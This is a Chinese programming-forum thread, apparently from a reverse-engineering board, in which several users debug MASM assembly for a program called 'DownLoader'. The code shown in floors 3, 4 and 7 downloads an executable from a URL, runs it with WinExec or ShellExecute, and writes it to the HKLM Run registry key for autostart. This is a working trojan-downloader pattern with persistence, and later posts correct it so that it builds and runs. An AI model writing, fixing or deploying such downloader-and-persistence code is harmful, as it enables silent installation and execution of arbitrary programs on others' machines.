能力值:
( LV4,RANK:50 )
2 楼
我也遇到过此类问题
能力值:
( LV2,RANK:10 )
3 楼
原来编译器是逐行编译的,所以会出现这种情况,看来罗云彬的书上说的把子函数安排到前面是不科学的。像下面这样写再编译就没有问题了。宁愿先用proto声明一下……,否则程序的流程都会被改变,导致意想不到的问题!
.386
.model flat, stdcall
option casemap :none
include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc
include advapi32.inc
includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib
includelib advapi32.lib
_EnumKey proto :DWORD
.data
URL db "http://127.0.0.1/xxx.exe",0
EXE db "d:\xxx.exe",0;
szRegKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
szRegValue db "DownLoader",0
.code
start:
invoke URLDownloadToFile,NULL,addr URL,addr EXE,0,0;
invoke WinExec,addr EXE,0;
invoke _EnumKey,NULL;
invoke ExitProcess,NULL;
_EnumKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr EXE,10 ;写入一个REG_SZ类型的数据
invoke RegCloseKey,@hKey
.endif
_EnumKey endp
end start
能力值:
( LV10,RANK:170 )
4 楼
我想你应该理解错误了,罗老的本意应该是这样吧:
.386
.model flat, stdcall
option casemap :none
include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc
include advapi32.inc
includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib
includelib advapi32.lib
.data
URL db "http://127.0.0.1/xxx.exe",0
EXE db "d:\xxx.exe",0;
szRegKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
szRegValue db "DownLoader",0
.code
_EnumKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr EXE,10 ;写入一个REG_SZ类型的数据
invoke RegCloseKey,@hKey
.endif
_EnumKey endp
start:
invoke URLDownloadToFile,NULL,addr URL,addr EXE,0,0;
invoke WinExec,addr EXE,0;
invoke _EnumKey,NULL;
invoke ExitProcess,NULL;
end start
能力值:
(RANK:410 )
5 楼
呵呵,是的,是你理解错了,函数如果写在前面,必须写在.code下面,而在start标号前面才行。因为程序是从start标号开始执行的。
能力值:
( LV2,RANK:10 )
6 楼
哦,明白了.
又看了下他那书,果然是我理解错了.谢谢各位.
能力值:
( LV9,RANK:380 )
7 楼
对于EXE长度的计算,直接写个常量貌似并不是最佳做法..如果它的值很长,楼主不会一个一个数吧?应该这样:
invoke lstrlen,addr EXE
mov @hSize,eax
这样,RegSetValueEx最后一个参数就可以用@hSize
修改一下代码:
.386
.model flat, stdcall
option casemap :none
include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc
include advapi32.inc
includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib
includelib advapi32.lib .data
URL db "http://127.0.0.1/xxx.exe",0
EXE db "d:\xxx.exe",0;
szRegKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
szRegValue db "DownLoader",0
.code
_EnumKey proc
local @hKey:DWORD
local @hSize:DWORD
invoke RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke lstrlen,addr EXE
mov @hSize,eax
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr EXE,@hSize ;写入一个REG_SZ类型的数据
invoke RegCloseKey,@hKey
.endif
_EnumKey endp
start:
invoke URLDownloadToFile,NULL,addr URL,addr EXE,0,0
invoke ShellExecute,0,0,addr EXE,0,0,SW_SHOW
call _EnumKey
invoke ExitProcess,NULL
end start